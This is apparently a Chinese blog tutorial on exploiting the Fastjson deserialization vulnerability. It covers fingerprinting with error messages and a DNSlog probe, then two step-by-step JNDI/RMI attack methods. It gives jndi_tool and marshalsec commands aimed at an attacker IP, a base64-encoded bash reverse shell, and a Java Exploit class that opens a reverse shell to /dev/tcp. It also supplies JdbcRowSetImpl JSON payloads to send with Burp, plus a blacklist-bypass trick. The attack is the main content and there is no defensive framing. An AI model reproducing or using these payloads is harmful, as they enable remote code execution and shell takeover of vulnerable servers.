跳至正文

Fastjson反序列化漏洞

简介

*Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。
*后面阿里采用黑名单形式抵御反序列化漏洞,所以之后的payload都是集中在如何绕过黑名单。

反序列化漏洞利用

*采用双写L和双写;方式利用。如:LLcom.sun.rowset.JdbcRowSetImpl;;

框架识别

*content-type 请求头带有json字样(因为框架作用就是给json数据做打包和解析)
*post错误json数据,利用报错回显
*dnslog解析,post数据{
                    "name":{
                    "@type":"java.net.InetAddress",
                    "val":"mingy.qydzoe.dnslog.cn"
                    }
                    }

漏洞利用

  • JNDI注入 + RMI

    *JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
    RMI (JAVA远程方法调用),当攻击机启动这个服务后,burp漏洞利用时可以触发访问这个服务。

  • 方法一:
    *使用工具 jndi_tool.jar 在攻击机上启动 RMI server
java -cp jndi_tool.jar jndi.HRMIServer 150.158.137.72 9999 "要执行的命令"
或反弹 shell 命令
java -cp jndi_tool.jar jndi.HRMIServer 150.158.137.72 9999 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjEzNy43Mi85OTk4IDA+JjE=}|{base64,-d}|{bash,-i}"
*注意:9999端口是攻击机上rmi服务的,而反弹shell里面语句的端口是9998,也就是     说,攻击机需要监听此端口

*攻击机器使用nc开启端口监听后,使用burp发送payload,对攻击机上的rmi服务发起攻击
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://150.158.137.72:9999/Object",
"autoCommit":true
}
}
*payload执行完后,会在攻击机上返回一个shell
*捋一遍思路:先在攻击机开启rmi执行反弹shell,再在攻击机开启端口监听,最后,      burp执行payload
  • 方法二:
    *首先,构造exp文件 Exploit.java

    //javac Exploit.java
    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
    public Exploit(){
    try{
    Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&
    /dev/tcp/150.158.137.72/9998 0>&1");    
    }catch(Exception e){    
    e.printStackTrace();
    }
    }
    public static void main(String[] argv){
    Exploit e = new Exploit();
    }
    }

    使用命令 javac Exploit.java 编译此文件为class文件
    maven打包marshalsec项目成jar包。

    mvn clean package -DskipTests

    攻击机上开启python的web服务(8000)
    攻击机上借助marshalsec项目启动一个rmi服务器,监听一个端口(9999),并指定加载远程类 Exploit.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
    "http://150.158.137.72:8000/#Exploit" 9999

    *攻击机burp使用payload进行攻击

    {
    "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://150.158.137.72:9999/Exploit",
    "autoCommit":true
    }
    }